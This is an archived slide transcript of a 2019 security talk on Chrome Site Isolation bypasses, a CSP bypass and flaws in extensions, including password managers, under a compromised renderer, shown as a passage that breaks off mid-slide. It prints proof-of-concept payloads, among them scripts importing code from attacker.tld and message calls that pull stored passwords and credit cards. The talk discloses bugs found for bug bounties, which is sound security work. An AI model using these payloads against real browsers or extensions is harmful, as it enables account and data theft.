The world of Site Isolation and compromised renderer

The world of Site Isolation and compromised renderer - Jun Kokatsu, Speaker Deck.

- Published: 2019-11-01
- Original: <https://speakerdeck.com/shhnjk/the-world-of-site-isolation-and-compromised-renderer>
- Preserved from: https://speakerdeck.com/shhnjk/the-world-of-site-isolation-and-compromised-renderer (live) on 2026-08-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

The world of Site Isolation and compromised renderer - Speaker Deck

The world of Site Isolation and compromised renderer

This talk was presented at bugSWAT. Video of the talk is at https://youtu.be/ppW_soCb6wM

Talk features: Site Isolation bypasses https://crbug.com/915398, CVE-2019-13682, CVE-2019-13692 Chrome Extension bugs with renderer process compromise https://crbug.com/982326, https://crbug.com/1016535, https://hackerone.com/reports/682596 CSP bypass in Chrome CVE-2019-13704

[image: Avatar for Jun Kokatsu]

Jun Kokatsu

November 01, 2019

More Decks by Jun Kokatsu

See All by Jun Kokatsu

Operating Operator

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

1.4k

Piloting Edge Copilot

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

1

1.4k

Same-Origin Cross-Context Scripting

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

0

1.1k

Site Isolation

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

5

2.1k

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

8

4.1k

Logically Bypassing Browser Security Boundaries

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

5

3.5k

Other Decks in Research

See All in Research

[[image: Avatar for afroscript] afroscript](https://speakerdeck.com/afroscript)

0

160

Language and AI

[[image: Avatar for Ayana Niwa] ayaniwa](https://speakerdeck.com/ayaniwa)

0

190

Sleuthcon Keynote - How Cybercriminals (ab)use AI

[[image: Avatar for Thomas Roccia] fr0gger](https://speakerdeck.com/fr0gger)

0

280

/ Who Do Large Language Models Memorize?

[[image: Avatar for Shotaro Ishihara] upura](https://speakerdeck.com/upura)

0

110

LA-Bench 2025 /LA-Bench 2025: A Dataset for Generating Executable Experimental Procedures from Experimental Instructions

[[image: Avatar for Shota Kato] stktu](https://speakerdeck.com/stktu)

0

120

ScoreMatchingRiesz for Automatic Debiased Machine Learning and Policy Path Estimation with an Application to Japanese Monetary Policy Evaluation

[[image: Avatar for MasaKat0] masakat0](https://speakerdeck.com/masakat0)

0

310

260624_NLP-colloquium: Hubness

[[image: Avatar for Hiroyuki Deguchi] de9uch1](https://speakerdeck.com/de9uch1)

1

170

LINE Meetup -AlpacaTech

[[image: Avatar for tomo] gamella](https://speakerdeck.com/gamella)

1

620

Sequences of Logits Reveal the Low Rank Structure of Language Models

[[image: Avatar for SansanTech] sansantech](https://speakerdeck.com/sansantech)

PRO

1

300

2015 2026 ( )

[[image: Avatar for The Japan DataScientist Society] datascientistsociety](https://speakerdeck.com/datascientistsociety)

PRO

0

580

Anthropic LLM Natural Language Autoencoders / Natural Language Autoencoders Produce Unsupervised Explanations of LLM Activations

[[image: Avatar for Shunsuke KITADA] shunk031](https://speakerdeck.com/shunk031)

0

160

AI LLM-jp

[[image: Avatar for Kouta Nakayama] k141303](https://speakerdeck.com/k141303)

0

550

Featured

See All Featured

Game over? The fight for quality and originality in the time of robots

[[image: Avatar for Wayne Barker] wayneb77](https://speakerdeck.com/wayneb77)

1

240

Site-Speed That Sticks

[[image: Avatar for Harry Roberts] csswizardry](https://speakerdeck.com/csswizardry)

13

1.4k

Making Projects Easy

[[image: Avatar for Brett Harned] brettharned](https://speakerdeck.com/brettharned)

120

6.7k

What's in a price? How to price your products and services

[[image: Avatar for Michael Herold] michaelherold](https://speakerdeck.com/michaelherold)

247

13k

Rebuilding a faster, lazier Slack

[[image: Avatar for samanthasiow] samanthasiow](https://speakerdeck.com/samanthasiow)

85

9.6k

Sam Torres - BigQuery for SEOs

[[image: Avatar for Tech SEO Connect] techseoconnect]
(https://speakerdeck.com/techseoconnect)

PRO

0

460

Leveraging Curiosity to Care for An Aging Population

[[image: Avatar for Cassini Nazir] cassininazir](https://speakerdeck.com/cassininazir)

1

460

How People are Using Generative and Agentic AI to Supercharge Their Products, Projects, Services and Value Streams Today

[[image: Avatar for Helen Beal].png) helenjbeal](https://speakerdeck.com/helenjbeal)

1

260

ReactJS: Keep Simple. Everything can be a component!

[[image: Avatar for Pedro Nauck] pedronauck](https://speakerdeck.com/pedronauck)

666

130k

More Than Pixels: Becoming A User Experience Designer

[[image: Avatar for Michelle Schulp Hunt] marktimemedia]
(https://speakerdeck.com/marktimemedia)

3

480

Getting science done with accelerated Python computing platforms

[[image: Avatar for Jacob Tomlinson] jacobtomlinson](https://speakerdeck.com/jacobtomlinson)

2

400

What does AI have to do with Human Rights?

[[image: Avatar for Per Axbom] axbom](https://speakerdeck.com/axbom)

PRO

1

2.3k

Transcript

-

The world of Site Isolation and compromised renderer Jun Kokatsu

-

Changes from last year • Microsoft Edge moves to Chromium-based

browser All bounty goes to charity Donated $51k so far.

-

Changes from last year • Microsoft Edge moves to Chromium-based

browser All bounty goes to charity Donated $51k so far. • Bug hunter rank went up from 124 to 35 Still pretty bad at finding web bugs in Google

-

Agenda • What is a compromised renderer process and why

it matters • Site Isolation recap • Some Site Isolation bypasses • Bypassing Site Isolation without Site Isolation Bypass • Real world examples

-

What is a compromised renderer process? • Attacker can use

bugs in JS engine, CSS engine, image parser, video parser, etc, to compromise a renderer process https://www.chromium.org/developers/design-documents/site-isolation

-

What is a compromised renderer process? • Attacker can use

bugs in JS engine, CSS engine, image parser, video parser, etc, to compromise a renderer process • Once a renderer process is compromised, it could do anything within the renderer process (e.g. read any data coming into a renderer process, change IPC messages that will be sent from the renderer process, etc) https://www.chromium.org/developers/design-documents/site-isolation

-

What is a compromised renderer process? • Attacker can use

bugs in JS engine, CSS engine, image parser, video parser, etc, to compromise a renderer process • Once a renderer process is compromised, it could do anything within the renderer process (e.g. read any data coming into a renderer process, change IPC messages that will be sent from the renderer process, etc) • Without Site Isolation, a renderer process compromise == UXSS https://www.chromium.org/developers/design-documents/site-isolation

-

Why does it matter? Q: It’s browser bugs, and should

be fixed by the browser. So why should we care?

-

Why does it matter? Q: It’s browser bugs, and should

be fixed by the browser. So why should we care? • There are average of 10+ bugs in each release of Chrome, that could potentially be used to compromise a renderer process*1 *1: https://www.chromium.org/Home/chromium-security/site-isolation#TOC-Motivation

-

Why does it matter? Q: It’s browser bugs, and should

be fixed by the browser. So why should we care? • There are average of 10+ bugs in each release of Chrome, that could potentially be used to compromise a renderer process*1 • There is also Patch-gapping issue. So attacker doesn’t even need to find a bug. E.g. people had a full renderer exploit for 15+ days before patch was released to the stable*2 *1: https://www.chromium.org/Home/chromium-security/site-isolation#TOC-Motivation *2: https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/

-

Why does it matter? Q: It’s browser bugs, and should

be fixed by the browser. So why should we care? • There are average of 10+ bugs in each release of Chrome, that could potentially be used to compromise a renderer process*1 • There is also Patch-gapping issue. So attacker doesn’t even need to find a bug. E.g. people had a full renderer exploit for 15+ days before patch was released to the stable*2 We should assume that attackers have the capability to compromise a renderer process *1: https://www.chromium.org/Home/chromium-security/site-isolation#TOC-Motivation *2: https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/

-

Site Isolation Recap Site Isolation: Isolates process per “Site” =

Scheme + eTLD+1 https://www.example.com:443

-

Site Isolation Recap Site Isolation: Isolates process per “Site” =

Scheme + eTLD+1 https://www.example.com:443 Cross-Origin Read Blocking: Prevents a process from accessing sensitive cross-site files without CORS satisfaction (MIME type based blacklist such as HTML, XML, JSON, PDF, ZIP, etc)

-

Site Isolation caveats • Data URL inherits process from navigation

initiator <!-- https://www.google.com --> <iframe src="data:text/html,I live in the same process as Google">

-

Site Isolation caveats • Data URL inherits process from navigation

initiator <!-- https://www.google.com --> <iframe src="data:text/html,I live in the same process as Google"> • File: URL shares process across whole scheme, and there is no CORB in File: URL either A renderer process compromise of File URL means, attacker can steal any local files that the browser has access to.

-

Site Isolation caveats • Data URL inherits process from navigation

initiator <!-- https://www.google.com --> <iframe src="data:text/html,I live in the same process as Google"> • File: URL shares process across whole scheme, and there is no CORB in File: URL either A renderer process compromise of File URL means, attacker can steal any local files that the browser has access to. Chrome is trying to address these issues, but it'll take sometime. https://bugs.chromium.org/p/chromium/issues/detail?id=510122 https://bugs.chromium.org/p/chromium/issues/detail?id=935045

-

Finding Site Isolation bypass I made a WinDbg script that

can spoof renderer process' origin and URL https://github.com/shhnjk/spoof.js

-

I spoofed origin and URL, and then tried randomly calling

JS APIs to see if anything goes wrong

-

I spoofed origin and URL, and then tried randomly calling

JS APIs to see if anything goes wrong Then I noticed, I can send/receive message with spoofed origin across site

-

Stealing PDF content with postMessage Abusing this bug, I could

steal any PDF content in Chrome with messages <embed src="https://www.apple.com/mac/docs/Apple_T2_Security_Chip_Overview.pdf" type="application/pdf"> <script> window.onmessage = e => { if (e.data && e.data.type === 'getSelectedTextReply') { alert(e.data.selectedText); } }; function go(){ var embed =

document.querySelector('embed'); embed.postMessage({type: 'selectAll'}); embed.postMessage({type: 'getSelectedText'}); } </script>

-

Stealing PDF content with postMessage Abusing this bug, I could

steal any PDF content in Chrome with messages <embed src="https://www.apple.com/mac/docs/Apple_T2_Security_Chip_Overview.pdf" type="application/pdf"> <script> window.onmessage = e => { if (e.data && e.data.type === 'getSelectedTextReply') { alert(e.data.selectedText); } }; function go(){ var embed = document.querySelector('embed'); embed.postMessage({type: 'selectAll'}); embed.postMessage({type: 'getSelectedText'}); } </script> $3000

-

Site Isolation bypass 2 Websites can create a protocol handler

for particular URL scheme navigator.registerProtocolHandler(“mailto”,“http://same-origin.url/?to=%s”,“title”)

-

Site Isolation bypass 2 Websites can create a protocol handler

for particular URL scheme navigator.registerProtocolHandler(“mailto”,“http://same-origin.url/?to=%s”,“title”) With many restrictions 1. Scheme has to be whitelisted*1 *1: https://developer.mozilla.org/en-US/docs/Web/API/Navigator/registerProtocolHandler#Permitted_schemes

-

Site Isolation bypass 2 Websites can create a protocol handler

for particular URL scheme navigator.registerProtocolHandler(“mailto”,“http://same-origin.url/?to=%s”,“title”) With many restrictions 1. Scheme has to be whitelisted*1 2. Destination URL has to be same-origin to the registering window *1: https://developer.mozilla.org/en-US/docs/Web/API/Navigator/registerProtocolHandler#Permitted_schemes

-

Site Isolation bypass 2 Websites can create a protocol handler

for particular URL scheme navigator.registerProtocolHandler(“mailto”,“http://same-origin.url/?to=%s”,“title”) With many restrictions 1. Scheme has to be whitelisted*1 2. Destination URL has to be same-origin to the registering window 3. User has to accept the permission prompt *1: https://developer.mozilla.org/en-US/docs/Web/API/Navigator/registerProtocolHandler#Permitted_schemes

-

Solving problems 1. Scheme has to be whitelisted Whitelist check

was implemented inside a renderer process, and browser process only had blacklist check related to browser schemes.

-

Solving problems 1. Scheme has to be whitelisted Whitelist check

was implemented inside a renderer process, and browser process only had blacklist check related to browser schemes. 2. Destination URL has to be same-origin to the registering window This check was also inside a renderer process, thus completely bypassable.

-

Solving problems 1. Scheme has to be whitelisted Whitelist check

was implemented inside a renderer process, and browser process only had blacklist check related to browser schemes. 2. Destination URL has to be same-origin to the registering window This check was also inside a renderer process, thus completely bypassable. 3. User has to accept the permission prompt Origin of permission prompt was calculated using destination URL, which could be anything with above bypass. It'll be blank if you pass a Data URL

-

But how this can be a Site Isolation bypass? 1.

After renderer process is compromised, register any scheme (e.g. mailto) with following destination URL data:text/html,<script>import('https://attacker.tld/renderer_exploit.js')</script>

-

But how this can be a Site Isolation bypass? 1.

After renderer process is compromised, register any scheme (e.g. mailto) with following destination URL data:text/html,<script>import('https://attacker.tld/renderer_exploit.js')</script> 2. Find a webpage that has hyperlink to above scheme AND doesn't have X-Frame-Options set

-

But how this can be a Site Isolation bypass? 1.

After renderer process is compromised, register any scheme (e.g. mailto) with following destination URL data:text/html,<script>import('https://attacker.tld/renderer_exploit.js')</script> 2. Find a webpage that has hyperlink to above scheme AND doesn't have X-Frame-Options set 3. Clickjack target page, and wait for a user click

-

But how this can be a Site Isolation bypass? 1.

After renderer process is compromised, register any scheme (e.g. mailto) with following destination URL data:text/html,<script>import('https://attacker.tld/renderer_exploit.js')</script> 2. Find a webpage that has hyperlink to above scheme AND doesn't have X-Frame-Options set 3. Clickjack target page, and wait for a user click 4. Data URL we set in step 1 will now execute in the process of target page

-

But how this can be a Site Isolation bypass? 1.

After renderer process is compromised, register any scheme (e.g. mailto) with following destination URL data:text/html,<script>import('https://attacker.tld/renderer_exploit.js')</script> 2. Find a webpage that has hyperlink to above scheme AND doesn't have X-Frame-Options set 3. Clickjack target page, and wait for a user click 4. Data URL we set in step 1 will now execute in the process of target page $3000

-

Site Isolation bypass 3 Reader mode chrome-distiller://9a898ff4-b0ad-45c6-8da2-bd8a6acce25d/?url=https://news.tld • Page content

from news.tld will be filtered, but images and videos are allowed

-

Site Isolation bypass 3 Reader mode chrome-distiller://9a898ff4-b0ad-45c6-8da2-bd8a6acce25d/?url=https://news.tld • Page content

from news.tld will be filtered, but images and videos are allowed • GUID changes for each reader mode page

-

Site Isolation bypass 3 Reader mode chrome-distiller://9a898ff4-b0ad-45c6-8da2-bd8a6acce25d/?url=https://news.tld • Page content

from news.tld will be filtered, but images and videos are allowed • GUID changes for each reader mode page Site Isolation assumption Ability to load an untrusted image in the target page is enough to compromise the renderer process

-

What can you do with compromised Reader mode 1. Open

new window with victim's site (Reader mode will cache the page) You can do this using native code (C++) or JS CSP can be bypassed because it's enforced inside the renderer process, which you've already compromised chrome-distiller://[GUID]/?url=https://attacker.tld victim = "https://victim.tld" window.open(victim, "w") https://victim.tld Super Secret Data!!!

-

What can you do with compromised Reader mode 2. Navigate

victim window to Reader mode using same GUID Turns out you can reuse GUID even if you change the url param chrome-distiller://[GUID]/?url=https://attacker.tld w = window.open(origin + "/?url=" + victim,"w") chrome-distiller://[GUID]/?url=https://victim.tld Super Secret Data!!!

-

What can you do with compromised Reader mode 3. Now

it's same-origin! Steal the secret chrome-distiller://[GUID]/?url=https://attacker.tld alert(w.document.body.inn erHTML) chrome-distiller://[GUID]/?url=https://victim.tld Super Secret Data!!!

-

What can you do with compromised Reader mode 3. Now

it's same-origin! Steal the secret $5000 chrome-distiller://[GUID]/?url=https://attacker.tld alert(w.document.body.inn erHTML) chrome-distiller://[GUID]/?url=https://victim.tld Super Secret Data!!!

-

Site Isolation bypass is difficult • Reader mode and protocol

handler bugs required user interaction

-

Site Isolation bypass is difficult • Reader mode and protocol

handler bugs required user interaction • Message and protocol handler bugs wouldn't work on every website

-

Site Isolation bypass is difficult • Reader mode and protocol

handler bugs required user interaction • Message and protocol handler bugs wouldn't work on every website I need: • More nightmare scenarios like UXSS • More low hanging fruits

-

Site Isolation bypass is difficult • Reader mode and protocol

handler bugs required user interaction • Message and protocol handler bugs wouldn't work on every website I need: • More nightmare scenarios like UXSS • More low hanging fruits Let's think this way: Which processes are allowed to access cross-site data by design?

-

Processes that have access to cross-site data 1. Browser process

1. Network process 3. GPU process 4. Devtools process 5. Flash process (CORB disabled) 6. Extension process

-

Processes that have access to cross-site data 1. Browser process

1. Network process 3. GPU process 4. Devtools process 5. Flash process (CORB disabled) 6. Extension process 1, 2, and 3 sounds difficult

-

Processes that have access to cross-site data 1. Browser process

1. Network process 3. GPU process 4. Devtools process 5. Flash process (CORB disabled) 6. Extension process 1, 2, and 3 sounds difficult 4 and 5 requires user interaction to create a process in the first place

-

Processes that have access to cross-site data 1. Browser process

1. Network process 3. GPU process 4. Devtools process 5. Flash process (CORB disabled) 6. Extension process 1, 2, and 3 sounds difficult 4 and 5 requires user interaction to create a process in the first place 6 seems like the only option left...

-

Chrome Extension 101 Usually, an extension has 2 scripts 1.

Background script (this is executed inside an extension process) 2. Content script (this is injected into renderer processes) https://news.tld Content script in an Isolated World chrome-extension://foo Background script

-

Chrome Extension 101 Content script and Background script has communication

channels chrome.runtime.sendMessage -> chrome.runtime.onMessage.addListener chrome.extension.sendMessage -> chrome.extension.onMessage.addListener chrome.extension.sendRequest -> chrome.extension.onRequest.addListener port = chrome.runtime.connect({name: "foo"}) port.postMessage -> port.onMessage.addListener chrome.storage.local.set -> chrome.storage.local.get etc...

-

Smell of low hanging fruits Extension developers don’t probably know:

• What renderer process compromise is in the first place

-

Smell of low hanging fruits Extension developers don’t probably know:

• What renderer process compromise is in the first place • Site Isolation’s threat model assumes renderer process is compromised

-

Smell of low hanging fruits Extension developers don’t probably know:

• What renderer process compromise is in the first place • Site Isolation’s threat model assumes renderer process is compromised • Content script can be fully compromised, thus messages are untrusted

-

Smell of low hanging fruits Extension developers don’t probably know:

• What renderer process compromise is in the first place • Site Isolation’s threat model assumes renderer process is compromised • Content script can be fully compromised, thus messages are untrusted Let’s check extensions from Google https://chrome.google.com/webstore/category/ext/15-by-google

-

ChromeVox Classic Extension Screen reader extension made by Chrome team

This extension is whitelisted by Chrome to execute content script in semi-privileged pages such as Chrome Web Store, New Tab Page, and DevTools

-

ChromeVox Classic Extension Background script has message listener where i t

allowed setting preferences. var target = msg['target']; var action = msg['action']; switch (target) ... case 'Prefs': if (action == 'getPrefs') { this.prefs.sendPrefsToPort(port); } else if (action == 'setPref') { var pref = (msg['pref']); var announce = !!msg['announce']; cvox.ChromeVoxBackground.setPref(pref, msg['value'], announce); } break;

-

Bug 1 ChromeVox has preference called “siteSpecificScriptLoader”, which wou ld load

JS file set in this preference to all tabs

-

Bug 1 ChromeVox has preference called “siteSpecificScriptLoader”, which wou ld load

JS file set in this preference to all tabs So the UXSS was: 1. Compromise renderer process 2. Run following script in the context of Content script cvox.ChromeVox.host.sendToBackgroundPage({'target': 'Prefs', 'action': 'setPref', 'pref': 'siteSpecificScriptLoader', 'value': 'https://attacker.tld/bad.js', 'announce': true})

-

ChromeVox Classic Extension Found another message listener that's suspicio us chrome.extension.onMessage.addListener(function(request,

sender, callback) { if (request['srcFile']) { var srcFile = request['srcFile']; cvox.InjectedScriptLoader.fetchCode([srcFile], function(code) { callback({ 'code': code[srcFile] }); }); } return true; }); What does fetchCode do?

-

cvox.InjectedScriptLoader.fetchCode = function(files, done) { var code = {}; var

waiting = files.length; var loadScriptAsCode = function(src) { var xhr = new XMLHttpRequest(); var url = chrome.extension.getURL(src) + '?' + new Date().getTime(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { var scriptText = xhr.responseText; ... code[src] = scriptText; waiting--; if (waiting == 0) { done(code); } } }; xhr.open('GET', url); xhr.send(null); }; files.forEach(function(f) { loadScriptAsCode(f); }); };

-

Weird behavior of chrome.extension.getURL chrome.extension.getURL and ch rome.runtime.getURL are used to

change relative URL to full URL based on extension's URL // e.g. chrome-extension://foo/ chrome.runtime.getURL("/bar.js"); // chrome-extension://foo/bar.js

-

Weird behavior of chrome.extension.getURL chrome.extension.getURL and ch rome.runtime.getURL are used to

change relative URL to full URL based on extension's URL // e.g. chrome-extension://foo/ chrome.runtime.getURL("/bar.js"); // chrome-extension://foo/bar.js But if we provide any fully-qualified URL to chrome.extension.getURL, it'll return as is chrome.runtime.getURL("https://test.tld"); // chrome-extension://foo/https://test.tld chrome.extension.getURL("https://test.tld"); // https://test.tld *This bug was fixed in Chrome 77 https://bugs.chromium.org/p/chromium/issues/detail?id=984696

-

Bug 2 With this weird behavior and the bug, we

can bypass CORS/CORB and fetch any website's content 1. Compromise renderer process 2. Run following script in the context of Content script chrome.extension.sendMessage({srcFile:

'https://www.google.com'}, content => {alert(content)});

-

ChromeVox Classic Extension Found yet another message listener that’s suspi cious

var target = msg['target']; var action = msg['action']; switch (target) ... case 'OpenTab': var destination = { url: msg['url'] }; chrome.tabs.create(destination); break;

-

ChromeVox Classic Extension Found yet another message listener that’s suspi cious

var target = msg['target']; var action = msg['action']; switch (target) ... case 'OpenTab': var destination = { url: msg['url'] }; chrome.tabs.create(destination); break; chrome.tabs.create can open any URL such as Chrome URL and File URL

-

Opening arbitrary File URL == Site Isolation bypass Download a

file Content-Disposition: attachment; filename="exploit.html"

-

Opening arbitrary File URL == Site Isolation bypass Download a

file Content-Disposition: attachment; filename="exploit.html" Use the bug to open File URL // send message {'target': 'OpenTab', 'url': 'file:///C:/Users/[username]/Downloads/exploit.html'}

-

Opening arbitrary File URL == Site Isolation bypass Download a

file Content-Disposition: attachment; filename="exploit.html" Use the bug to open File URL // send message {'target': 'OpenTab', 'url': 'file:///C:/Users/[username]/Downloads/exploit.html'} Compromise File URL process // file:///.../exploit.html exploit();

-

Opening arbitrary File URL == Site Isolation bypass Download a

file Content-Disposition: attachment; filename="exploit.html" Use the bug to open File URL // send message {'target': 'OpenTab', 'url': 'file:///C:/Users/[username]/Downloads/exploit.html'} Compromise File URL process // file:///.../exploit.html exploit(); Steal local file <iframe src=”../AppData/Local/G oogle/Chrome/User%20 Data/Default/”>

-

Bug 3 Opening arbitrary URL 1. Compromise renderer process 2.

Run following script in the context of Content script cvox.ChromeVox.host.sendToBackgroundPage({'target': 'OpenTab', 'url': 'chrome://settings/'})

-

Bug 4 ChromeVox leaked user's history to content script 1.

Compromise renderer process 2. Run following script in the context of Content script cvox.ChromeVox.visitedUrls

-

Bug 4 ChromeVox leaked user's history to content script 1.

Compromise renderer process 2. Run following script in the context of Content script cvox.ChromeVox.visitedUrls This doesn't even require renderer compromise since an attacker can read whole process's memory using Spectre-type attack Bug 1 + 2 + 3 + 4 = $5000

-

Let's see a video https://youtu.be/lfSLAhEvm6Y

-

RSS Subscription Extension When it sees an RSS data, it'll

automatically navigate to extension page for RSS data preview RSS data example: <?xml version="1.0" encoding="UTF-8" ?> <rss version="2.0"><item> <title>test</title> <description>test</description> </item></rss>

-

RSS Subscription Extension When it sees an RSS data, it'll

automatically navigate to extension page for RSS data preview RSS data example: <?xml version="1.0" encoding="UTF-8" ?> <rss version="2.0"><item> <title>test</title> <description>test</description> </item></rss> Extension code: anchor.innerHTML = itemTitle; span.innerHTML = itemDesc;

-

Still problems 1. CSP blocks script execution script-src 'self'; object-src

'self'

-

Still problems 1. CSP blocks script execution script-src 'self'; object-src

'self' 2. RSS preview is loaded inside an iframe with Data URL

-

Still problems 1. CSP blocks script execution script-src 'self'; object-src

'self' 2. RSS preview is loaded inside an iframe with Data URL • Data URL inherits the Site of navigation initiator

-

Still problems 1. CSP blocks script execution script-src 'self'; object-src

'self' 2. RSS preview is loaded inside an iframe with Data URL • Data URL inherits the Site of navigation initiator • We can theoritically compromise extension process by CSS, image, audio, video, etc

-

Still problems 1. CSP blocks script execution script-src 'self'; object-src

'self' 2. RSS preview is loaded inside an iframe with Data URL • Data URL inherits the Site of navigation initiator • We can theoritically compromise extension process by CSS, image, audio, video, etc But, let's bypass CSP

-

CSP bypass Local scheme (i.e. about:, blob:, data:, etc) inherits

CSP from creator or navigation initiator

-

CSP bypass Local scheme (i.e. about:, blob:, data:, etc) inherits

CSP from creator or navigation initiator This doesn't make sense for about:srcdoc though <iframe srcdoc="<script>alert(1);window.stop();</script><meta http-equiv='refresh' content='2;url=https://attacker.tld/?js=history.back()'>"></iframe>

-

CSP bypass Local scheme (i.e. about:, blob:, data:, etc) inherits

CSP from creator or navigation initiator This doesn't make sense for about:srcdoc though <iframe srcdoc="<script>alert(1);window.stop();</script><meta http-equiv='refresh' content='2;url=https://attacker.tld/?js=history.back()'>"></iframe> 1. Script will be blocked first, and will proceed to meta refresh

-

CSP bypass Local scheme (i.e. about:, blob:, data:, etc) inherits

CSP from creator or navigation initiator This doesn't make sense for about:srcdoc though <iframe srcdoc="<script>alert(1);window.stop();</script><meta http-equiv='refresh' content='2;url=https://attacker.tld/?js=history.back()'>"></iframe> 1. Script will be blocked first, and will proceed to meta refresh 2. attacker.tld will navigate back to previous page

-

CSP bypass Local scheme (i.e. about:, blob:, data:, etc) inherits

CSP from creator or navigation initiator This doesn’t make sense for about:srcdoc though <iframe srcdoc="<script>alert(1);window.stop();</script><meta http-equiv='refresh' content='2;url=https://attacker.tld/?js=history.back()'>"></iframe> 1. Script will be blocked first, and will proceed to meta refresh 2. attacker.tld will navigate back to previous page 3. Now same content will be loaded, but inheriting CSP of attacker.tld (i.e. none)

-

CSP bypass Local scheme (i.e. about:, blob:, data:, etc) inherits

CSP from creator or navigation initiator This doesn’t make sense for about:srcdoc though <iframe srcdoc="<script>alert(1);window.stop();</script><meta http-equiv='refresh' content='2;url=https://attacker.tld/?js=history.back()'>"></iframe> 1. Script will be blocked first, and will proceed to meta refresh 2. attacker.tld will navigate back to previous page 3. Now same content will be loaded, but inheriting CSP of attacker.tld (i.e. none) 4. Script will now execute and window.stop will stop processing of meta refresh

-

CSP bypass Local scheme (i.e. about:, blob:, data:, etc) inherits

CSP from creator or navigation initiator This doesn’t make sense for about:srcdoc though <iframe srcdoc="<script>alert(1);window.stop();</script><meta http-equiv='refresh' content='2;url=https://attacker.tld/?js=history.back()'>"></iframe> 1. Script will be blocked first, and will proceed to meta refresh 2. attacker.tld will navigate back to previous page 3. Now same content will be loaded, but inheriting CSP of attacker.tld (i.e. none) 4. Script will now execute and window.stop will stop processing of meta refresh $3000 for CSP bypass and $3133.7 for XSS in RSS Subscription extension

-

Demo? https://youtu.be/6M6wjmB26sM

-

User-Agent Switcher for Chrome They had message listener in the

Background script chrome.extension.onRequest.addListener(function(request, sender, sendResponse) { ... else if (request.action == "add_ua") { addCustomUAOption(request.name, request.user_agent, request.append_to_default_ua, request.indicator); ... }

-

User-Agent Switcher for Chrome They had message listener in the

Background script chrome.extension.onRequest.addListener(function(request, sender, sendResponse) { ... else if (request.action == "add_ua") { addCustomUAOption(request.name, request.user_agent, request.append_to_default_ua, request.indicator); ... } • This message allows setting a custom UA string

-

User-Agent Switcher for Chrome They had message listener in the

Background script chrome.extension.onRequest.addListener(function(request, sender, sendResponse) { ... else if (request.action == "add_ua") { addCustomUAOption(request.name, request.user_agent, request.append_to_default_ua, request.indicator); ... } • This message allows setting a custom UA string • They also needed to spoof UA in all websites

-

Evil's in the Content Script Content script that was injected

to every site had following function var a = document.createElement("script"); a.type = "text/javascript"; a.innerText += "Object.defineProperty(window.navigator, 'userAgent', { get: function(){ return '" + (b.append_to_default_ua ? navigator.userAgent + ' ' + b.ua_string : b.ua_string) + "'; } });"; ... document.documentElement.insertBefore(a, document.documentElement.firstChild)

-

Evil's in the Content Script Content script that was injected

to every site had following function var a = document.createElement("script"); a.type = "text/javascript"; a.innerText += "Object.defineProperty(window.navigator, 'userAgent', { get: function(){ return '" + (b.append_to_default_ua ? navigator.userAgent + ' ' + b.ua_string : b.ua_string) + "'; } });"; ... document.documentElement.insertBefore(a, document.documentElement.firstChild) With renderer process compromised, you could send a message and UXSS chrome.extension.sendRequest({action: "add_ua", name: 'Edge', user_agent: "Edge'+alert(origin)+'", append_to_default_ua: true, indicator: 'Edge'})

-

Evil's in the Content Script Content script that was injected

to every site had following function var a = document.createElement("script"); a.type = "text/javascript"; a.innerText += "Object.defineProperty(window.navigator, 'userAgent', { get: function(){ return '" + (b.append_to_default_ua ? navigator.userAgent + ' ' + b.ua_string : b.ua_string) + "'; } });"; ... document.documentElement.insertBefore(a, document.documentElement.firstChild) With renderer process compromised, you could send a message and UXSS chrome.extension.sendRequest({action: "add_ua", name: 'Edge', user_agent: "Edge'+alert(origin)+'", append_to_default_ua: true, indicator: 'Edge'}) $5000

-

Are only Google’s extensions insecure? Okay, we’ve seen too many

bugs Maybe Non-Google extensions are more secure and they are good

-

Are only Google’s extensions insecure? Okay, we’ve seen too many

bugs Maybe Non-Google extensions are more secure and they are good Let’s see popular extensions and extensions that have bug bounty Note 1: All following bugs require a renderer process compromise first Note 2: Only PoCs, not root cause analysis :)

-

LastPass Steal any username and password LPVARS.g_port.onMessage.addListener((e, t, n) =>

{ if(e.cmd == "checkgenpwfillforms"){ console.log("Username: " + JSON.parse(e.sites)[0].unencryptedUsername); }else if(e.cmd == "fillfield"){ console.log("Password: " + e.value); } receiveBG(e, t, n); }); chrome.extension.sendMessage({cmd: "fill", docid: 1, docflags:{ has_frameset: false, in_cpwbot: false, is_special_site: null, need_dynamic_delay: null, tutorial_flags: null}, docnum: 0, docstate: "complete", force: 0, numpass: 1, source: "autofill", timestamp: 1566107005383, topurl: "https://victim.tld/login.html", url: "https://victim.tld/login.html", username_val: ""}); $100

-

Keeper security Steal all credit cards chrome.runtime.sendMessage({ params: {type: "GET"},

name: "allCardsAndAddresses" }, result => { result.cards.forEach(card => { chrome.runtime.sendMessage({ params: {type:"GET", data: {id: card.uid}},name: "getDataById"}, profit => {console.log(profit) }); }); }); Keeper Security is the best extension bug bounty program so far (excluding Google) $1000

-

Dashlane Steal all user names, passwords, and credit cards port

= chrome.runtime.connect({name: "leeloo"}); port.onMessage.addListener(m => { if(m.type == "response" && m.slotName == "getDataModel"){ console.log(m.data.credentials); console.log(m.data.paymentCards); } }); port.postMessage({type: "request", id: 0, slotName: "getDataModel", data: ""}); $200

-

uBlock Origin // Read cross-site content vAPI.messaging.send(null, {what:'userSettings', name:"externalLists",value:"https://shhnjk.com/"}); vAPI.messaging.send("dashboard",

{what:'getLists'}); vAPI.messaging.send(null, {what:'getAssetContent',url: "https://shhnjk.com/"}, e=>{console.log(e)});

-

uBlock Origin // Read cross-site content vAPI.messaging.send(null, {what:'userSettings', name:"externalLists",value:"https://shhnjk.com/"}); vAPI.messaging.send("dashboard",

